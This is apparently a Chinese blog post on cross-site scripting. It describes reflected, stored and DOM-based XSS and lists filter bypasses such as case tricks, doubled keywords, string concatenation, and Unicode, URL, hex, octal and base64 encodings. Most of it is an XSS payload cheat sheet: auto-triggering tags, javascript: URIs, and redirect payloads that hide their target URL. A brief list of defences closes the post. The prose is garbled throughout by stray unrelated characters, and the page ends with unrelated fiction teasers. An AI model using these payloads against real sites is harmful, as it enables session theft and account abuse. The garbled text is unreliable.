xss

簡(jiǎn)述
XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時(shí)留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁出刷,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript阶界,但實(shí)際上也可以包括Java,VBScript,ActiveX,F(xiàn)lash或者甚至是普通的HTML。攻擊成功后绕娘,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容栽连、會(huì)話和cookie等各種內(nèi)容险领。

常用的XSS攻擊手段和目的

1.盜用cookie,獲取敏感信息秒紧。
2.利用植入Flash绢陌,通過crossdomain權(quán)限設(shè)置進(jìn)一步獲取更高權(quán)限;或者利用Java等得到類似的操作熔恢。
3.利用iframe脐湾、frame、XMLHttpRequest或上述Flash等方式叙淌,以(被攻擊)用戶的身份執(zhí)行一些管理動(dòng)作秤掌,或執(zhí)行一些一般的操作如發(fā)微博、加好友鹰霍、發(fā)私信等操作闻鉴。
4.利用可被攻擊的域受到其他域信任的特點(diǎn),以受信任來源的身份請(qǐng)求一些平時(shí)不允許的操作茂洒,如進(jìn)行不當(dāng)?shù)耐镀被顒?dòng)孟岛。
5.在訪問量極大的一些頁面上的XSS可以攻擊一些小型網(wǎng)站,實(shí)現(xiàn)DDOS攻擊的效果督勺。

分類
反射型
反射型跨站腳本(Reflected Cross-Site Scripting)是最常見渠羞,也是使用最廣的一種,可將惡意腳本附加到 URL 地址的參數(shù)中智哀。
反射型 XSS 的利用一般是攻擊者通過特定手法(如電子郵件)次询,誘使用戶去訪問一個(gè)包含惡意代碼的 URL,當(dāng)受害者點(diǎn)擊這些專門設(shè)計(jì)的鏈接的時(shí)候瓷叫,惡意代碼會(huì)直接在受害者主機(jī)上的瀏覽器執(zhí)行渗蟹。此類 XSS 通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登錄口等地方赞辩,常用來竊取客戶端 Cookies 或進(jìn)行釣魚欺騙。

存儲(chǔ)型
持久型跨站腳本(Persistent Cross-Site Scripting)也等同于存儲(chǔ)型跨站腳本(Stored Cross-Site Scripting)授艰。
此類 XSS 不需要用戶單擊特定 URL 就能執(zhí)行跨站腳本辨嗽,攻擊者事先將惡意代碼上傳或儲(chǔ)存到漏洞服務(wù)器中,只要受害者瀏覽包含此惡意代碼的頁面就會(huì)執(zhí)行惡意代碼淮腾。持久型 XSS 一般出現(xiàn)在網(wǎng)站留言糟需、評(píng)論屉佳、博客日志等交互處,惡意腳本存儲(chǔ)到客戶端或者服務(wù)端的數(shù)據(jù)庫中洲押。

DOM型
傳統(tǒng)的 XSS 漏洞一般出現(xiàn)在服務(wù)器端代碼中武花,而 DOM-Based XSS 是基于 DOM 文檔對(duì)象模型的一種漏洞,所以杈帐,受客戶端瀏覽器的腳本代碼所影響体箕。客戶端 JavaScript 可以訪問瀏覽器的 DOM 文本對(duì)象模型挑童,因此能夠決定用于加載當(dāng)前頁面的 URL累铅。換句話說,客戶端的腳本程序可以通過 DOM 動(dòng)態(tài)地檢查和修改頁面內(nèi)容站叼,它不依賴于服務(wù)器端的數(shù)據(jù)娃兽,而從客戶端獲得 DOM 中的數(shù)據(jù)(如從 URL 中提取數(shù)據(jù))并在本地執(zhí)行。另一方面尽楔,瀏覽器用戶可以操縱 DOM 中的一些對(duì)象投储,例如 URL、location 等阔馋。用戶在客戶端輸入的數(shù)據(jù)如果包含了惡意 JavaScript 腳本玛荞,而這些腳本沒有經(jīng)過適當(dāng)?shù)倪^濾和消毒,那么應(yīng)用程序就可能受到基于 DOM 的 XSS 攻擊垦缅。

無任何過濾情況下

一些常見標(biāo)簽

PS:下面我列舉的標(biāo)簽大部分是可以自動(dòng)觸發(fā)js代碼的冲泥,無需用戶去交互,大部分情況下我們也是希望是自動(dòng)觸發(fā)而不是等用戶去觸發(fā)壁涎,還有我測(cè)試的瀏覽器是火狐凡恍,Chrome,IE11.0怔球,其它的瀏覽器沒有去測(cè)試嚼酝,有興趣的師傅可以測(cè)試一下 =。=

<scirpt>
<scirpt>alert("xss");</script>

<img>
<img src=1 onerror=alert("xss");>

<input>
<input onfocus="alert('xss');">
競(jìng)爭(zhēng)焦點(diǎn)竟坛,從而觸發(fā)onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通過autofocus屬性執(zhí)行本身的focus事件闽巩,這個(gè)向量是使焦點(diǎn)自動(dòng)跳到輸入元素上,觸發(fā)焦點(diǎn)事件,無需用戶去觸發(fā)
<input onfocus="alert('xss');" autofocus>

<details>
<details ontoggle="alert('xss');">
使用open屬性觸發(fā)ontoggle事件担汤,無需用戶去觸發(fā)
<details open ontoggle="alert('xss');">

<svg>
<svg onload=alert("xss");>

<select>
<select onfocus=alert(1)></select>
通過autofocus屬性執(zhí)行本身的focus事件涎跨,這個(gè)向量是使焦點(diǎn)自動(dòng)跳到輸入元素上,觸發(fā)焦點(diǎn)事件,無需用戶去觸發(fā)
<select onfocus=alert(1) autofocus>

<iframe>
<iframe onload=alert("xss");></iframe>

<video>
<video><source onerror="alert(1)">

<audio>
<audio src=x  onerror=alert("xss");>

<body>
<body/onload=alert("xss");>

利用換行符以及autofocus崭歧,自動(dòng)去觸發(fā)onscroll事件隅很,無需用戶去觸發(fā)
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>
<textarea onfocus=alert("xss"); autofocus>

<keygen>
<keygen autofocus onfocus=alert(1)> //僅限火狐

<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>
<isindex type=image src=1 onerror=alert("xss")>//僅限于IE

利用link遠(yuǎn)程包含js文件

PS:在無CSP的情況下才可以
<link rel=import >

javascript偽協(xié)議

<a>標(biāo)簽
<a href="javascript:alert(`xss`);">xss</a>

<iframe>標(biāo)簽
<iframe src=javascript:alert('xss');></iframe>

<img>標(biāo)簽
<img src=javascript:alert('xss')>//IE7以下

<form>標(biāo)簽
<form action="Javascript:alert(1)"><input type=submit>

其它

expression屬性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''?x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

background屬性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

有過濾的情況下

過濾空格

用/代替空格
<img/src="x"/onerror=alert("xss");>

過濾關(guān)鍵字

大小寫繞過
<ImG sRc=x onerRor=alert("xss");>

雙寫關(guān)鍵字

有些waf可能會(huì)只替換一次且是替換為空率碾,這種情況下我們可以考慮雙寫關(guān)鍵字繞過
<imimgg srsrcc=x onerror=alert("xss");>

字符拼接

利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">


利用top
<script>top["al"+"ert"](`xss`);</script>

其它字符混淆

有的waf可能是用正則表達(dá)式去檢測(cè)是否有xss攻擊叔营,如果我們能fuzz出正則的規(guī)則屋彪,則我們就可以使用其它字符去混淆我們注入的代碼了
下面舉幾個(gè)簡(jiǎn)單的例子
可利用注釋、標(biāo)簽的優(yōu)先級(jí)等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因?yàn)閠itle標(biāo)簽的優(yōu)先級(jí)比img的高绒尊,所以會(huì)先閉合title畜挥,從而導(dǎo)致前面的img標(biāo)簽無效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

編碼繞過

Unicode編碼繞過
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url編碼繞過

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii碼繞過

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex繞過

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八進(jìn)制

<img src=x onerror=alert('\170\163\163')>

base64繞過

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

過濾雙引號(hào),單引號(hào)

1.如果是html標(biāo)簽中婴谱,我們可以不用引號(hào)蟹但。如果是在js中,我們可以用反引號(hào)代替單雙引號(hào)
<img src="x" onerror=alert(`xss`);>

2.使用編碼繞過勘究,具體看上面我列舉的例子矮湘,我就不多贅述了

過濾括號(hào)

當(dāng)括號(hào)被過濾的時(shí)候可以使用throw來繞過
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

過濾url地址

使用url編碼
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP

1.十進(jìn)制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八進(jìn)制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html標(biāo)簽中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\
但是要注意在windows下\本身就有特殊用途,是一個(gè)path 的寫法口糕,所以\\在Windows下是file協(xié)議缅阳,在linux下才會(huì)是當(dāng)前域的協(xié)議

6.使用中文逗號(hào)代替英文逗號(hào)
如果你在你在域名中輸入中文句號(hào)瀏覽器會(huì)自動(dòng)轉(zhuǎn)化成英文的逗號(hào)
<img src="x" onerror="document.location=`http://www。baidu景描。com`">//會(huì)自動(dòng)跳轉(zhuǎn)到百度

如何防止xss

?過濾一些危險(xiǎn)字符十办,以及轉(zhuǎn)義& < > " ' /等危險(xiǎn)字符


?HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此Cookie超棺。


?設(shè)置CSP(Content Security Policy)


?輸入內(nèi)容長(zhǎng)度限制
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末向族,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子棠绘,更是在濱河造成了極大的恐慌件相,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,366評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件氧苍,死亡現(xiàn)場(chǎng)離奇詭異夜矗,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)让虐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,521評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門紊撕,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人赡突,你說我怎么就攤上這事对扶。” “怎么了惭缰?”我有些...
    開封第一講書人閱讀 165,689評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵浪南,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我漱受,道長(zhǎng)络凿,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,925評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮喷众,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘紧憾。我一直安慰自己到千,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,942評(píng)論 6 392
  • 文/花漫 我一把揭開白布赴穗。 她就那樣靜靜地躺著憔四,像睡著了一般。 火紅的嫁衣襯著肌膚如雪般眉。 梳的紋絲不亂的頭發(fā)上了赵,一...
    開封第一講書人閱讀 51,727評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音甸赃,去河邊找鬼柿汛。 笑死,一個(gè)胖子當(dāng)著我的面吹牛埠对,可吹牛的內(nèi)容都是我干的络断。 我是一名探鬼主播,決...
    沈念sama閱讀 40,447評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼项玛,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼貌笨!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起襟沮,我...
    開封第一講書人閱讀 39,349評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤锥惋,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后开伏,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體膀跌,經(jīng)...
    沈念sama閱讀 45,820評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,990評(píng)論 3 337
  • 正文 我和宋清朗相戀三年硅则,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了淹父。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,127評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡怎虫,死狀恐怖暑认,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情大审,我是刑警寧澤蘸际,帶...
    沈念sama閱讀 35,812評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站徒扶,受9級(jí)特大地震影響粮彤,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,471評(píng)論 3 331
  • 文/蒙蒙 一导坟、第九天 我趴在偏房一處隱蔽的房頂上張望屿良。 院中可真熱鬧,春花似錦惫周、人聲如沸尘惧。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,017評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽喷橙。三九已至,卻和暖如春登舞,著一層夾襖步出監(jiān)牢的瞬間贰逾,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,142評(píng)論 1 272
  • 我被黑心中介騙來泰國(guó)打工菠秒, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留疙剑,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,388評(píng)論 3 373
  • 正文 我出身青樓稽煤,卻偏偏與公主長(zhǎng)得像核芽,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子酵熙,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,066評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容